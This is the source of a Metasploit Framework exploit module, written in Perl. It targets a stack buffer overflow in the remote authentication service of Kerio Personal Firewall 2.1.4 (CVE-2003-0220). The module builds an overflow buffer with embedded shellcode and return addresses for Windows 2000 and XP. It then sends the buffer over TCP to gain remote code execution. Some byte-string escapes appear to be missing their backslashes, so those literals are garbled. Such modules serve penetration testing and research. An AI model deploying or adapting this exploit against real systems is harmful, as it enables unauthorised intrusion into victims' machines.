Kerio Personal Firewall <= 2.1.4 Remote Authentication Packet Overflow

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::kerio_auth;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {

    'Name'  => 'Kerio Personal Firewall 2 (2.1.4) Remote Authentication Packet Buffer Overflow',
    'Version'  => '$Revision: 1.1 $',
    'Authors' => [ 'y0 [at] w00t-shell.net', ],
    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32', 'win2000', 'winxp', ],
    'Priv'  => 0,
    'UserOpts'  => {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 44334],
        'SSL'   => [0, 'BOOL', 'Use SSL'],
      },
    'AutoOpts' => { 'EXITFUNC' => 'process' },
    'Payload' => {
        'Space'     => 1000,
        'BadChars'  => "x00",
        'Prepend'   => "x81xc4x54xf2xffxff",
        'Keys'      => ['-ws2ord'],
      },

    'Description'  => Pex::Text::Freeform(qq{
    This module exploits a stack overflow in Kerio Personal Firewall 
administration authentication process. This module has only been tested 
against Kerio Personal Firewall 2 2.1.4.
}),

    'Refs'  =>  [
        ['BID', '7180'],
        ['CVE', '2003-0220'],
        ['URL', 'http://www1.corest.com/common/showdoc.php?idx=314&idxseccion=10'],
      ],

    'Targets' => [
        ['Windows 2000 Pro SP4 English', 0x7c2ec68b],
        ['Windows XP Pro SP0 English',   0x77e3171b],
        ['Windows XP Pro SP1 English',   0x77dc5527],
      ],

    'Keys' => ['firewall'],

    'DisclosureDate' => 'Apr 28 2003',

  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

sub Exploit
{
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
    my $target = $self->Targets->[$target_idx];

    if (! $self->InitNops(128)) {
        $self->PrintLine("[*] Failed to initialize the nop module.");
        return;
    }

    my $sploit =
      Pex::Text::AlphaNumText(4268). $shellcode.
      pack('V', $target->[1]). "xe9x0bxfexffxff";

    $self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));

    my $s = Msf::Socket::Tcp->new
      (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
      );
    if ($s->IsError) {
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return;
    }

    $s->Send($sploit);
    $self->Handler($s);
    $s->Close();
    return;
}

1;